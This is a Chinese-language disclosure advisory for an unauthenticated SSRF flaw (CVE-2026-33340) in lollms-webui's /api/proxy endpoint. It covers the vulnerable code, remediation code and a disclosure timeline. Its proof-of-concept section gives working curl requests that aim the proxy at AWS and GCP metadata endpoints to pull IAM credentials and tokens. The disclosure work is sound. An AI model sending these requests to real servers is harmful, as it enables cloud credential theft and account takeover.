| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-33340 |
| 漏洞类型 | 服务端请求伪造(Server-Side Request Forgery, SSRF) |
| 受影响产品 | ParisNeo/lollms-webui(LoLLMs WEBUI) |
| 严重等级 | 严重 — CVSS 9.1 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918:服务端请求伪造(SSRF) |
| 受影响组件 | lollms_core/lollms/server/endpoints/lollms_apps.py |
| 受影响端点 | /api/proxy |
| 安全公告 | GHSA-mcwr-5469-pxj4 |
| NVD | NVD 条目 |
| SentinelOne | SentinelOne 分析 |
| 发现者 | Regaan R — ROT 独立安全研究实验室 |
在 lollms-webui(Lord of Large Language and Multi modal Systems 的 Web 界面)中发现了一个严重等级的服务端请求伪造(SSRF)漏洞。@router.post("/api/proxy") 端点允许未经身份验证的攻击者强制服务器发起任意的 GET 请求。该漏洞可被利用来访问内部服务、扫描本地网络,或窃取敏感的云元数据,例如 AWS/GCP IAM 令牌。
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py(第 443-450 行)/api/proxy该漏洞的成因在于 lollms_apps.py 中的 proxy 函数未实现身份验证,也未进行任何形式的 URL/域名校验。它直接接受用户提供的原始 URL 字符串,并将其直接传递给异步 HTTP 客户端。
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id),也未经过任何身份验证中间件,任何未经身份验证的用户均可调用它。httpx.AsyncClient().get(),未对照白名单检查目标地址,也未阻止私网/内网 IP 段。{"content": response.text} 返回给调用者,可导致完整的数据外泄。echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
服务器从内部服务获取了该文件,并将其内容返回给攻击者。
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
| 场景 | 描述 |
|---|---|
| 云凭证窃取 | 云平台(AWS/GCP/Azure)上的攻击者可访问 http://169.254.169.254/ 获取实例元数据、IAM 凭证和访问令牌,从而导致整个云账户沦陷。 |
| 内网横向渗透 | 攻击者可探测未暴露到公网的内部数据库、API、管理后台和管理接口。 |
| 本地服务访问 | 攻击者可访问绑定在 localhost 上的服务(Redis、Elasticsearch、Docker API、数据库控制台等),这些服务会隐式信任本地流量。 |
| 内网端口扫描 | 该 SSRF 漏洞可被用于通过观察响应时间和错误消息,枚举内网中的开放端口和运行中的服务。 |
| 数据外泄 | 服务器网络可达范围内任何可通过 HTTP 访问的数据均可被读取并返回给攻击者。 |
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
截至发布日期,lollms-webui 的已修复版本已经发布。
| 日期 | 事件 |
|---|---|
| 2026-03-07 | 通过 GitHub 安全公告发现并报告该漏洞 |
| 2026-03-24 | CVE-2026-33340 发布至 NVD |
| 2026-03-25 | NVD 数据库条目已更新 |
| 2026-03-27 | SentinelOne 发布漏洞分析 |
Regaan R(@regaan) 首席研究员 — ROT 独立安全研究实验室
本文仅用于教育和防御目的。该漏洞已通过 GitHub 安全公告以负责任披露的方式报告。在测试漏洞之前,请务必获得适当的授权。
本文以 CC BY 4.0 许可证发布。